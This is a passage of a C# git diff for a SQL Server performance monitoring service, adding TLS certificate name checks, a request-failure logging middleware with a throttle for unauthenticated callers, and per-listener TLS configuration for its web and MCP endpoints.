+                + $"on port {portText} and a DNS-name-only certificate can never match. Reissue the "
+                + "certificate with an iPAddress SAN.";
+        }
+
+        const string nameAdvice = "a dNSName SAN for the name (an exact name, or a one-label wildcard such as *.example.com)";
+        return wildcard
+            ? $"{labels.Surface} TLS certificate carries no dNSName SAN for {dnsName} — every {labels.Client} that "
+              + $"connects by that name on port {portText} will report a name mismatch (the listen is a wildcard, so "
+              + $"no single IP was checked). Reissue the certificate with {nameAdvice}."
+            : $"{labels.Surface} TLS certificate carries neither an iPAddress SAN for {listenIp} nor a dNSName SAN "
+              + $"for {dnsName} — every {labels.Client} will report a name mismatch. The anti-DNS-rebind Host "
+              + $"allowlist accepts loopback, that literal IP and {dnsName} in the Host header, so a LAN client has to "
+              + $"{labels.Reach} to it by one of those on port {portText}. Reissue the certificate with an iPAddress "
+              + $"SAN for the IP or {nameAdvice}.";
+    }
+
+    /// <summary>
+    /// Whether the certificate carries a dNSName SAN that names <paramref name="hostName"/>, exactly or through a
+    /// one-label wildcard (<see cref="DnsNameMatchesSan"/>). Reads the SAN extension (OID 2.5.29.17) and nothing
+    /// else, so a subject common name never counts, which is what every modern client does.
+    /// </summary>
+    internal static bool SanCoversDnsName(X509Certificate2 certificate, string hostName)
+    {
+        ArgumentNullException.ThrowIfNull(certificate);
+        ArgumentNullException.ThrowIfNull(hostName);
+
+        X509SubjectAlternativeNameExtension? san = null;
+        foreach (var extension in certificate.Extensions)
+        {
+            if (!string.Equals(extension.Oid?.Value, "2.5.29.17", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            /* cert.Extensions may hand back a generic X509Extension for the SAN; re-materialize the typed
+               view from its raw DER when so, so EnumerateDnsNames is always available. */
+            san = extension as X509SubjectAlternativeNameExtension
+                ?? new X509SubjectAlternativeNameExtension(extension.RawData);
+            break;
+        }
+
+        if (san is null)
+        {
+            return false;
+        }
+
+        foreach (var name in san.EnumerateDnsNames())
+        {
+            if (DnsNameMatchesSan(name, hostName))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// PURE: does a dNSName SAN value name <paramref name="hostName"/>? Compared case-insensitively, ignoring one
+    /// trailing dot on either side. A SAN with no wildcard must equal the host name. A wildcard is honoured only as
+    /// the WHOLE left-most label (<c>*.corp.local</c>) and stands for exactly ONE label: it names
+    /// <c>darling.corp.local</c> and neither <c>corp.local</c> (no label to stand for) nor
+    /// <c>a.darling.corp.local</c> (two). A partial or misplaced wildcard (<c>d*.corp.local</c>,
+    /// <c>darling.*.local</c>, <c>*</c>) names nothing, the conservative reading of RFC 6125, so a warning is
+    /// never silenced by a pattern no client would accept.
+    /// </summary>
+    internal static bool DnsNameMatchesSan(string sanName, string hostName)
+    {
+        ArgumentNullException.ThrowIfNull(sanName);
+        ArgumentNullException.ThrowIfNull(hostName);
+
+        var pattern = TrimTrailingDot(sanName.Trim());
+        var host = TrimTrailingDot(hostName.Trim());
+        if (pattern.Length == 0 || host.Length == 0)
+        {
+            return false;
+        }
+
+        if (!pattern.Contains('*', StringComparison.Ordinal))
+        {
+            return string.Equals(pattern, host, StringComparison.OrdinalIgnoreCase);
+        }
+
+        /* One wildcard, and it is the whole first label: "*." followed by a name with no wildcard of its own. */
+        if (!pattern.StartsWith("*.", StringComparison.Ordinal)
+            || pattern.IndexOf('*', 1) >= 0
+            || pattern.Length == 2)
+        {
+            return false;
+        }
+
+        var firstDot = host.IndexOf('.', StringComparison.Ordinal);
+        if (firstDot <= 0 || firstDot == host.Length - 1)
+        {
+            return false;
+        }
+
+        return string.Equals(pattern[2..], host[(firstDot + 1)..], StringComparison.OrdinalIgnoreCase);
+    }
+
+    /// <summary>The host name as a DNS name, or null when it is unset, blank, or an IP literal (bracketed IPv6
+    /// included, the form <c>Uri.Host</c> returns).</summary>
+    private static string? AsDnsName(string? hostName)
+    {
+        var trimmed = hostName?.Trim();
+        if (string.IsNullOrEmpty(trimmed))
+        {
+            return null;
+        }
+
+        var unbracketed = trimmed.Length > 2 && trimmed[0] == '[' && trimmed[^1] == ']' ? trimmed[1..^1] : trimmed;
+        return IPAddress.TryParse(unbracketed, out _) ? null : trimmed;
+    }
+
+    /// <summary>
+    /// The ASCII (punycode) form of <paramref name="dnsName"/>, which is what a certificate's dNSName SAN carries
+    /// (#5288): <c>b&#252;cher.example</c> becomes <c>xn--bcher-kva.example</c>. A name that is already ASCII is
+    /// returned untouched, case included, so every ASCII comparison is exactly what it was before. A name the
+    /// mapping refuses (an empty label, a label over 63 characters once encoded, a lone surrogate) is returned
+    /// as given: it can only fail to match, and the warning says so; the mapping's exception never reaches
+    /// start-up.
+    /// </summary>
+    private static string ToAsciiForSanMatch(string dnsName)
+    {
+        if (System.Text.Ascii.IsValid(dnsName))
+        {
+            return dnsName;
+        }
+
+        try
+        {
+            return new IdnMapping().GetAscii(dnsName);
+        }
+        catch (ArgumentException)
+        {
+            return dnsName;
+        }
+    }
+
+    private static string TrimTrailingDot(string value)
+        => value.EndsWith('.') ? value[..^1] : value;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs
index 8781f9ef3f..1f94724173 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Runtime.CompilerServices;
 using System.Text.Json.Nodes;
 using System.Text.RegularExpressions;
 using Microsoft.AspNetCore.Http;
@@ -94,11 +95,120 @@ internal static bool IsStatementTimeoutSentence(string sentence) =>
     private static string SqlState(Exception exception) =>
         (exception as PostgresException)?.SqlState ?? "(none)";
 
+    /// <summary>W12: why a timeout-shaped exception happened. A server-side <c>statement_timeout</c> carries SQLSTATE
+    /// 57014; anything else here is Npgsql giving up waiting on its own side: the command's client deadline, or the wait for
+    /// a free pooled connection. The driver words those two the same way, and the exception text is never read (#4283), so
+    /// the line names both rather than guessing one.</summary>
+    internal static string Cause(Exception exception)
+    {
+        return SqlState(exception) == "57014" ? "statement_timeout" : "client_timeout_or_pool_wait";
+    }
+
+    /// <summary>What one request's failure reporting tracks: whether a failure line was written, and the server name the
+    /// registry gave the read (<see cref="NoteResolvedServer"/>).</summary>
+    internal sealed class RequestTracking
+    {
+        /// <summary>True once <see cref="Report(ILogger,string,long,Exception)"/> or its sentence twin wrote the request's line.</summary>
+        public bool Reported { get; set; }
+
+        /// <summary>The name the registry resolved the read's server to, or null when the read resolved none.</summary>
+        public string? ServerName { get; set; }
+
+        /// <summary>True once the request got through the auth gate (or, on a server with none, the Host guard), so a throw after
+        /// that point is a signed-in caller's failure. A throw before it can come from a caller nobody has authenticated, and the
+        /// observer sends that line through a throttle (L1, round 2).</summary>
+        public bool PassedAuth { get; set; }
+    }
+
+    private static readonly System.Threading.AsyncLocal<RequestTracking?> s_requestReported = new();
+
+    /// <summary>W12: starts tracking whether the current request's failure got a log line. The outermost observer calls it
+    /// before anything else runs; <see cref="Report(ILogger,string,long,Exception)"/> and its sentence twin tick the
+    /// box, so a 5xx answered WITHOUT a report is the one the observer reports (<see cref="ReportUnlogged"/>).</summary>
+    internal static RequestTracking BeginRequestTracking()
+    {
+        var box = new RequestTracking();
+        s_requestReported.Value = box;
+        return box;
+    }
+
+    /// <summary>Round 2, L1: the auth gate (or the Host guard of a server with none) calls this once the request is let through.
+    /// Ignored outside a tracked request.</summary>
+    internal static void NotePassedAuth()
+    {
+        if (s_requestReported.Value is { } box) box.PassedAuth = true;
+    }
+
+    /// <summary>Ticks the request's tracking as reported without writing a line: the observer's throttled arm uses it when the
+    /// throttle folded the line, so the post-check does not write a second one for the same request.</summary>
+    internal static void MarkReported()
+    {
+        var box = s_requestReported.Value;
+        if (box is not null) box.Reported = true;
+    }
+
+    /// <summary>S5: the server resolver notes the registry's own name for the server a read resolved, so a failure line names the
+    /// server as the registry does (a name the diagnostics bundle's aliaser knows whole) and not as the request spelled it.
+    /// Ignored outside a tracked request.</summary>
+    internal static void NoteResolvedServer(string? serverName)
+    {
+        if (s_requestReported.Value is { } box && !string.IsNullOrEmpty(serverName)) box.ServerName ??= serverName;
+    }
+
+    /// <summary>
+    /// W12: the one log line for an /api answer of 500 or more that no failure report covered, so a 503 (or any 5xx) never
+    /// leaves the page with a red strip and the service log with nothing. Warning for 503, Error for the rest.
+    /// <paramref name="route"/> is <see cref="RouteOf"/>'s text: the path and the server the read named.
+    /// </summary>
+    internal static void ReportUnlogged(ILogger logger, string route, int status, long elapsedMs)
+    {
+        var safeRoute = DarlingHttpRefusalLog.Sanitize(route, 256);
+        if (status == StatusCodes.Status503ServiceUnavailable)
+        {
+            logger.LogWarning(
+                "Web dashboard read {Route} answered HTTP {Status} after {ElapsedMs} ms ({Kind}): the route gave no cause of its own",
+                safeRoute, status, elapsedMs, "unreported");
+            return;
+        }
+
+        logger.LogError(
+            "Web dashboard read {Route} answered HTTP {Status} after {ElapsedMs} ms ({Kind}): the route gave no cause of its own",
+            safeRoute, status, elapsedMs, "unreported");
+    }
+
+    /// <summary>W12: the request's path, plus the server the read named (<c>server</c> or <c>server_name</c>) so a
+    /// failed read's line says WHICH server it was for. S5: the server is written as the registry names it when the read
+    /// resolved one (<see cref="NoteResolvedServer"/>); otherwise it is the request's own text passed through the diagnostics
+    /// bundle's aliaser (<see cref="BundleAliaser"/>), which rewrites what it can recognise without a name list (IP addresses,
+    /// secrets), because a bundle can only replace the names it knows and a partial or unregistered spelling is not one.
+    /// The whole route is sanitized by the caller.</summary>
+    internal static string RouteOf(HttpRequest request)
+    {
+        var path = request.Path.Value ?? "/";
+        var server = s_requestReported.Value?.ServerName
+            ?? (request.Query.TryGetValue("server", out var a) && a.Count > 0 && !string.IsNullOrEmpty(a[0]) ? AliasRequestText(a[0])
+            : request.Query.TryGetValue("server_name", out var b) && b.Count > 0 && !string.IsNullOrEmpty(b[0]) ? AliasRequestText(b[0])
+            : null);
+        return server is null ? path : path + " (server " + server + ")";
+    }
+
+    /// <summary>The request text through a bundle aliaser that knows no names: its secret guard and address rewrite still apply.
+    /// Capped first, so a long value is not scanned in full.</summary>
+    private static string? AliasRequestText(string? text)
+    {
+        if (string.IsNullOrEmpty(text)) return null;
+        var capped = text.Length > 256 ? text[..256] : text;
+        return new BundleAliaser().Alias(capped);
+    }
+
     /// <summary>
     /// The ONE log line for a failed request (#4276): a Warning for a timeout, an Error for anything else,
     /// naming the route, the elapsed milliseconds, the kind, the exception type and the SQLSTATE. No
-    /// throttle — unlike <c>DarlingHttpRefusalLog</c>'s refusals, a failed READ on an operator's own LAN
-    /// dashboard is not adversary-shaped traffic, so there is no flood to bound. <paramref name="route"/> is
+    /// throttle here — unlike <c>DarlingHttpRefusalLog</c>'s refusals, a failed READ on an operator's own LAN
+    /// dashboard is not adversary-shaped traffic, so there is no flood to bound. That holds for a request that got through the auth
+    /// gate. The observer sits ahead of the Host guard and the auth gate, so a throw from one of those, or from compression,
+    /// may belong to a caller nobody has authenticated: the observer sends THAT line through the refusal log's throttle before it
+    /// calls this (<see cref="RequestTracking.PassedAuth"/>). <paramref name="route"/> is
     /// request-supplied (the backstop passes <c>context.Request.Path.Value</c> straight off the wire), so it
     /// goes through <see cref="DarlingHttpRefusalLog.Sanitize"/> the same way that log sanitizes a Host
     /// header, before either branch below writes it.
@@ -106,13 +216,14 @@ private static string SqlState(Exception exception) =>
     internal static void Report(ILogger logger, string route, long elapsedMs, Exception exception)
     {
         var safeRoute = DarlingHttpRefusalLog.Sanitize(route, 256);
+        MarkReported();
 
         if (IsStatementTimeout(exception))
         {
             logger.LogWarning(
                 exception,
-                "Web dashboard read {Route} timed out after {ElapsedMs} ms ({Kind}): {ExceptionType}, SQLSTATE {SqlState}",
-                safeRoute, elapsedMs, "timeout", exception.GetType().Name, SqlState(exception));
+                "Web dashboard read {Route} timed out after {ElapsedMs} ms ({Kind}, cause {Cause}): {ExceptionType}, SQLSTATE {SqlState}",
+                safeRoute, elapsedMs, "timeout", Cause(exception), exception.GetType().Name, SqlState(exception));
             return;
         }
 
@@ -132,6 +243,7 @@ internal static void Report(ILogger logger, string route, long elapsedMs, Except
     internal static void Report(ILogger logger, string route, long elapsedMs, string sentence)
     {
         var safeRoute = DarlingHttpRefusalLog.Sanitize(route, 256);
+        MarkReported();
 
         if (IsStatementTimeoutSentence(sentence))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureObserver.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureObserver.cs
new file mode 100644
index 0000000000..a24baf5cb9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureObserver.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service.Hosting;
+
+/// <summary>
+/// The web host's one failure observer (#4276, W12): the FIRST middleware registered, ahead of response compression, the
+/// Host-allowlist guard, the method gate and the auth gate, so a throw from any of them is logged too. It replaces the #4276
+/// backstop that sat behind the gates and could not see them; a request still gets exactly one failure line, because the
+/// routes' own <see cref="DarlingWebFailureLog.Report(ILogger,string,long,Exception)"/> calls tick the per-request tracking this
+/// reads, and a thrown exception is reported here only when nothing reported it first.
+///
+/// <para>It decides nothing about a request before <c>next</c> runs (no refusal, no write), so putting it ahead of the Host guard
+/// adds no unauthenticated surface: what it logs after the fact is the path, the status and the elapsed time, plus the server the
+/// read named, sanitized (<see cref="DarlingWebFailureLog.RouteOf"/>). A client that closed the page is not a failure and is not
+/// logged, and nothing is written to a caller who is gone. Context: two <c>/api/read</c> 503s on a real host left no line and no
+/// code path was found; this is how the next one is caught.</para>
+/// </summary>
+internal sealed class DarlingWebFailureObserver
+{
+    private readonly RequestDelegate _next;
+    private readonly ILogger _logger;
+    private readonly DarlingHttpRefusalLog _preAuthThrottle;
+
+    /// <param name="preAuthThrottle">Round 2, L1: the throttle for the failure line of a request that has not passed the auth gate
+    /// (<see cref="DarlingWebFailureLog.RequestTracking.PassedAuth"/>). The host passes the refusal log it created for this started
+    /// server, so a rebind starts with a clean budget.</param>
+    public DarlingWebFailureObserver(RequestDelegate next, ILogger logger, DarlingHttpRefusalLog preAuthThrottle)
+    {
+        _next = next;
+        _logger = logger;
+        _preAuthThrottle = preAuthThrottle;
+    }
+
+    public async Task InvokeAsync(HttpContext context)
+    {
+        var stopwatch = Stopwatch.StartNew();
+        var tracking = DarlingWebFailureLog.BeginRequestTracking();
+        try
+        {
+            await _next(context);
+        }
+        catch (Exception ex) when ((ex is OperationCanceledException or IOException)
+            && context.RequestAborted.IsCancellationRequested)
+        {
+            /* #4286 review, Low 2: a client that resets an upload or an HTTP/2 stream during a body read does not always
+               surface as OperationCanceledException -- Kestrel can report it as an IOException (a TCP reset, or "The client
+               reset the request stream." on HTTP/2). Same filter ASP.NET Core's own exception handler middleware uses to
+               classify a client abort: no line, no body. */
+        }
+        catch (BadHttpRequestException bad)
+        {
+            /* #4281 review, finding 3: Kestrel throws this for a malformed or oversized request body (a 413/400/408 a client
+               can trigger on purpose at no cost) -- not a service failure, so no generic 500 and no Error line. Debug only,
+               and the exception object, not a {Message} template argument, carries the text (#4286 review, Low 5). */
+            _logger.LogDebug(bad, "Web dashboard request rejected ({StatusCode})", bad.StatusCode);
+
+            if (!context.Response.HasStarted)
+            {
+                context.Response.StatusCode = bad.StatusCode;
+            }
+        }
+        catch (Exception ex)
+        {
+            /* Round 2, L1: this arm now also sees throws from compression, the Host guard and the auth gate, so the request may
+               not be authenticated. Such a line goes through the refusal log's throttle (once per source per window); the answer
+               below is unchanged. A request that got through the gate keeps the unthrottled line it always had. */
+            if (tracking.PassedAuth)
+            {
+                DarlingWebFailureLog.Report(_logger, DarlingWebFailureLog.RouteOf(context.Request), stopwatch.ElapsedMilliseconds, ex);
+            }
+            else
+            {
+                var decision = _preAuthThrottle.Observe(
+                    DarlingRefusalGate.PreAuthFailure, DarlingHttpRefusalLog.DescribeSource(context.Connection.RemoteIpAddress), DateTime.UtcNow);
+                if (decision.Log)
+                {
+                    DarlingWebFailureLog.Report(_logger, DarlingWebFailureLog.RouteOf(context.Request), stopwatch.ElapsedMilliseconds, ex);
+                }
+                else
+                {
+                    DarlingWebFailureLog.MarkReported();
+                }
+            }
+
+            /* Only log, per the ruling, once the response has already started -- there is no header or body left to change. */
+            if (!context.Response.HasStarted)
+            {
+                context.Response.StatusCode = DarlingWebFailureLog.StatusCode(ex);
+                context.Response.ContentType = "application/json; charset=utf-8";
+                await context.Response.WriteAsync(DarlingWebFailureLog.Body(ex).ToJsonString());
+            }
+        }
+
+        /* A read that answered 5xx (a 503 above all) with no failure report of its own still leaves one line, naming the
+           endpoint and the server, so the page's red strip always has a service-log line behind it. /api/ping answers 503 on
+           purpose for a stopped collector and has its own contract. The route text is built here, after the read, so a server the
+           read resolved is written under the registry's name. */
+        if (!tracking.Reported
+            && context.Response.StatusCode >= StatusCodes.Status500InternalServerError
+            && context.Request.Path.StartsWithSegments("/api")
+            && !context.Request.Path.StartsWithSegments("/api/ping"))
+        {
+            DarlingWebFailureLog.ReportUnlogged(
+                _logger, DarlingWebFailureLog.RouteOf(context.Request), context.Response.StatusCode, stopwatch.ElapsedMilliseconds);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebTls.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebTls.cs
index ac5d4cb01f..1832dd304f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebTls.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebTls.cs
@@ -18,11 +18,17 @@ namespace PerformanceMonitor.Darling.Service.Hosting;
 /// the segment in the clear; this is the surface's own TLS rather than the reverse proxy that used to be the
 /// only named MITM control.
 ///
-/// <para><b>Web only, deliberately not MCP.</b> The MCP endpoint stays plain HTTP on the older rationale that
-/// a self-signed certificate breaks real MCP clients. That rationale is about MCP clients, not about the
-/// wire, and it does not transfer: a browser is the web dashboard's only client, browsers have a
-/// well-understood story for an internal CA, and the operator here supplies a certificate rather than the
-/// product minting one. If MCP ever gets TLS it is a separate decision with a separate blast radius.</para>
+/// <para><b>One resolver, two listeners (#5288).</b> The web dashboard (<c>web.network.tls</c>) and the MCP
+/// endpoint (<c>mcp.network.tls</c>) each have their own <c>tls</c> block, both of type
+/// <see cref="WebTlsConfig"/>, and each listener keeps its own fail-closed decision. There is no shared block
+/// and no precedence rule between them, for the reason <see cref="Describe"/> refuses both forms: a precedence
+/// rule hides which certificate a listener actually serves. <see cref="Describe"/>, <see cref="Load"/> and
+/// <see cref="WebTlsConfig.ResolvePfxPassword"/> take a <c>section</c> (<c>"web"</c> by default, or
+/// <c>"mcp"</c>) so every message names the setting the operator has to edit, and with the web section every
+/// rendered text is exactly what it was before MCP gained TLS. MCP used to stay plain HTTP on the rationale that
+/// a self-signed certificate breaks real MCP clients. That rationale is about a certificate the product mints
+/// itself, and this feature mints none: the operator supplies the certificate for either listener, and an
+/// internal CA is the normal answer on the LAN it is for.</para>
 ///
 /// <para><b>Split on purpose.</b> <see cref="Describe"/>, <see cref="CheckLifetime"/> and
 /// <see cref="ExpiryWarning"/> are PURE — they decide shape and validity with no file, no clock, and no
@@ -40,10 +46,12 @@ internal static class DarlingWebTls
     /// <summary>How far ahead of expiry the startup log begins warning.</summary>
     internal const int ExpiryWarningDays = 30;
 
-    /// <summary>What the <c>web.network.tls</c> block asks for, decided before any file is opened.</summary>
+    /// <summary>What a <c>tls</c> block (<c>web.network.tls</c> or <c>mcp.network.tls</c>) asks for, decided before
+    /// any file is opened.</summary>
     internal enum TlsShape
     {
-        /// <summary>No <c>tls</c> block, or one whose every field is blank — plain HTTP (the caller warns when exposed).</summary>
+        /// <summary>No <c>tls</c> block — plain HTTP (the caller warns when exposed). A block that is present but
+        /// sets none of <c>pfxPath</c>, <c>certPath</c> or <c>keyPath</c> is <see cref="Invalid"/>, not this.</summary>
         NotConfigured,
 
         /// <summary>A PKCS#12 bundle: <c>pfxPath</c>, optionally with a password.</summary>
@@ -89,8 +97,14 @@ public void Dispose()
     /// <para>Both forms configured is <see cref="TlsShape.Invalid"/>, not a precedence rule. A precedence rule
     /// would silently serve one certificate while the operator watched the other one expire — and picking the
     /// wrong one is indistinguishable from working until the day it is not.</para>
+    ///
+    /// <para>A block that is present but sets none of the three paths is <see cref="TlsShape.Invalid"/> too (#5288):
+    /// only an ABSENT block (null) means plain HTTP.</para>
     /// </summary>
-    internal static TlsPlan Describe(WebTlsConfig? tls)
+    /// <param name="tls">The block, or null when the listener has none.</param>
+    /// <param name="section">Which listener's block this is, <c>"web"</c> (the default) or <c>"mcp"</c>. It only
+    /// names the setting in the messages (<c>{section}.network.tls</c>); it never changes the decision.</param>
+    internal static TlsPlan Describe(WebTlsConfig? tls, string section = "web")
     {
         if (tls is null)
         {
@@ -107,7 +121,7 @@ internal static TlsPlan Describe(WebTlsConfig? tls)
         {
             return new TlsPlan(
                 TlsShape.Invalid,
-                "web.network.tls names BOTH a PKCS#12 bundle (pfxPath) and a PEM pair (certPath/keyPath) — "
+                $"{section}.network.tls names BOTH a PKCS#12 bundle (pfxPath) and a PEM pair (certPath/keyPath) — "
                 + "set one form or the other, never both, so the certificate actually served is the one you meant.");
         }
 
@@ -129,7 +143,7 @@ the password landed before the pfxPath and the operator is watching the wrong ce
                 TlsShape.Pem,
                 null,
                 hasPassword
-                    ? "web.network.tls sets a PKCS#12 password alongside a PEM pair — the PEM pair is being served "
+                    ? $"{section}.network.tls sets a PKCS#12 password alongside a PEM pair — the PEM pair is being served "
                       + "and the password is ignored. Remove it, or finish setting pfxPath if the bundle was the one you meant."
                     : null);
         }
@@ -141,8 +155,8 @@ without its key would produce a listener that completes no handshake. */
             return new TlsPlan(
                 TlsShape.Invalid,
                 hasCert
-                    ? "web.network.tls sets certPath with no keyPath — a PEM certificate cannot serve TLS without its private key."
-                    : "web.network.tls sets keyPath with no certPath — name the PEM certificate that key belongs to.");
+                    ? $"{section}.network.tls sets certPath with no keyPath — a PEM certificate cannot serve TLS without its private key."
+                    : $"{section}.network.tls sets keyPath with no certPath — name the PEM certificate that key belongs to.");
         }
 
         if (hasPassword)
@@ -151,10 +165,18 @@ without its key would produce a listener that completes no handshake. */
                wrote it believes TLS is on. Refusing is louder than ignoring it. */
             return new TlsPlan(
                 TlsShape.Invalid,
-                "web.network.tls sets a PKCS#12 password but no pfxPath — there is no bundle for it to open.");
+                $"{section}.network.tls sets a PKCS#12 password but no pfxPath — there is no bundle for it to open.");
         }
 
-        return new TlsPlan(TlsShape.NotConfigured, null);
+        /* Every flag above is false, which is exactly !tls.IsConfigured: the block is present and sets none of
+           the keys this loader reads. The config reader skips a key it does not know, so a block whose key names
+           are spelled differently arrives here looking just like a block of blank values. Whoever wrote a tls
+           block expects TLS, and reading it as "no TLS" would serve plain HTTP, so it is refused like the lone
+           password above. Only an ABSENT block (null, handled first) means plain HTTP. */
+        return new TlsPlan(
+            TlsShape.Invalid,
+            $"{section}.network.tls is present but sets none of pfxPath, certPath or keyPath. "
+            + "Check the key names, or remove the block for plain HTTP.");
     }
 
     /// <summary>The lifetime gate's three answers. Kept as a kind rather than only the rendered refusal
@@ -242,35 +264,38 @@ internal static LifetimeVerdict CheckLifetime(DateTimeOffset notBefore, DateTime
     /// </summary>
     /// <param name="tls">The block, already classified by <see cref="Describe"/>.</param>
     /// <param name="shape">The classification, so this never re-decides what the config meant.</param>
-    internal static LoadedCertificate Load(WebTlsConfig tls, TlsShape shape)
+    /// <param name="section">Which listener's block this is, <c>"web"</c> (the default) or <c>"mcp"</c>, threaded
+    /// to every message so it names the setting the operator has to edit. Pass the SAME value given to
+    /// <see cref="Describe"/>.</param>
+    internal static LoadedCertificate Load(WebTlsConfig tls, TlsShape shape, string section = "web")
     {
         ArgumentNullException.ThrowIfNull(tls);
 
         return shape switch
         {
-            TlsShape.Pfx => LoadPfx(tls),
-            TlsShape.Pem => LoadPem(tls),
+            TlsShape.Pfx => LoadPfx(tls, section),
+            TlsShape.Pem => LoadPem(tls, section),
             _ => throw new InvalidOperationException(
-                $"web.network.tls cannot be loaded in shape {shape} — Describe() must be consulted first."),
+                $"{section}.network.tls cannot be loaded in shape {shape} — Describe() must be consulted first."),
         };
     }
 
-    private static LoadedCertificate LoadPfx(WebTlsConfig tls)
+    private static LoadedCertificate LoadPfx(WebTlsConfig tls, string section)
     {
         var path = tls.PfxPath!.Trim();
-        RequireFile(path, "web.network.tls.pfxPath");
+        RequireFile(path, $"{section}.network.tls.pfxPath");
 
         string? password;
         try
         {
-            password = tls.ResolvePfxPassword(out _);
+            password = tls.ResolvePfxPassword(out _, section);
         }
         catch (Exception ex)
         {
             /* An env:/file: reference that does not resolve, or a DPAPI blob from another machine. Naming the
                setting matters more than the exception type: the operator has three password slots. */
             throw new InvalidOperationException(
-                $"web.network.tls: the PKCS#12 password could not be resolved ({ex.Message})", ex);
+                $"{section}.network.tls: the PKCS#12 password could not be resolved ({ex.Message})", ex);
         }
 
         X509Certificate2Collection bundle;
@@ -284,7 +309,7 @@ so the listener comes up and serves an incomplete chain. */
         catch (Exception ex)
         {
             throw new InvalidOperationException(
-                $"web.network.tls.pfxPath '{path}' could not be loaded ({ex.Message}) — "
+                $"{section}.network.tls.pfxPath '{path}' could not be loaded ({ex.Message}) — "
                 + "check the password slot too: Windows reports a wrong PKCS#12 password as unreadable data "
                 + "rather than as a bad password.",
                 ex);
@@ -299,19 +324,19 @@ so the listener comes up and serves an incomplete chain. */
             }
 
             throw new InvalidOperationException(
-                $"web.network.tls.pfxPath '{path}' contains no certificate with a private key — a TLS server "
+                $"{section}.network.tls.pfxPath '{path}' contains no certificate with a private key — a TLS server "
                 + "certificate must carry its key (export the bundle with the key included).");
         }
 
         return new LoadedCertificate(leaf, IntermediatesOf(bundle, leaf));
     }
 
-    private static LoadedCertificate LoadPem(WebTlsConfig tls)
+    private static LoadedCertificate LoadPem(WebTlsConfig tls, string section)
     {
         var certPath = tls.CertPath!.Trim();
         var keyPath = tls.KeyPath!.Trim();
-        RequireFile(certPath, "web.network.tls.certPath");
-        RequireFile(keyPath, "web.network.tls.keyPath");
+        RequireFile(certPath, $"{section}.network.tls.certPath");
+        RequireFile(keyPath, $"{section}.network.tls.keyPath");
 
         /* Read the WHOLE file, not just the leaf. CreateFromPemFile below materializes only the FIRST
            certificate, so on its own it drops every intermediate the operator appended — which is exactly what
@@ -333,7 +358,7 @@ holding leaf + intermediate served one certificate. */
             }
 
             throw new InvalidOperationException(
-                $"web.network.tls: the PEM pair '{certPath}' / '{keyPath}' could not be loaded ({ex.Message})", ex);
+                $"{section}.network.tls: the PEM pair '{certPath}' / '{keyPath}' could not be loaded ({ex.Message})", ex);
         }
 
         /* FOOTGUN (load-bearing): a certificate built from PEM carries an EPHEMERAL private key, and Windows'
@@ -357,7 +382,7 @@ this to surface. Round-tripping through an in-memory PKCS#12 re-associates the k
                 }
 
                 throw new InvalidOperationException(
-                    $"web.network.tls: the PEM pair '{certPath}' / '{keyPath}' loaded but could not be prepared "
+                    $"{section}.network.tls: the PEM pair '{certPath}' / '{keyPath}' loaded but could not be prepared "
                     + $"for the TLS listener ({ex.Message})",
                     ex);
             }
diff --git a/Darling/PerformanceMonitor.Darling.Service/LaunchMemoryGuard.cs b/Darling/PerformanceMonitor.Darling.Service/LaunchMemoryGuard.cs
new file mode 100644
index 0000000000..ab779ede15
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/LaunchMemoryGuard.cs
@@ -0,0 +1,429 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Globalization;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// One memory reading for the launch guard (#1556, #5479): the figure, the limit it is measured against, and
+/// which metric and which limit those are, so a log line can say what was actually compared.
+/// </summary>
+/// <param name="Bytes">The process's current figure under <paramref name="Metric"/>.</param>
+/// <param name="LimitBytes">What the figure is measured against; the guard's line is
+/// <see cref="DarlingWorker.MemoryGuardFraction"/> of it. Non-positive means unknown, which never blocks.</param>
+/// <param name="Metric">"private bytes" (Windows) or "resident memory" (Linux).</param>
+/// <param name="LimitSource">"the GC memory budget", "cgroup memory limit" or "total RAM".</param>
+internal readonly record struct LaunchMemoryReading(long Bytes, long LimitBytes, string Metric, string LimitSource);
+
+/// <summary>
+/// The memory launch guard's state (#1556), and its release rule (#5479). Once per sweep pass the worker asks
+/// <see cref="MayLaunch"/> whether it may start NEW collection bodies. Over the line the answer is no and the
+/// in-flight bodies drain, but a drained process allocates nothing, so no garbage collection ever runs to give the
+/// memory back, and a guard that only waited for the figure to fall held one fleet for 25 hours. So the guard does
+/// the releasing itself: when the figure is over the line it runs a decommitting full collection (at most once a
+/// minute) and measures again in the same pass. A crossing the collection clears is no hold at all and logs nothing
+/// Critical. A figure still over after the collection holds new launches off, with one Critical per episode that
+/// names the figure after the collection, and the collection repeats at most once a minute while the hold lasts; a
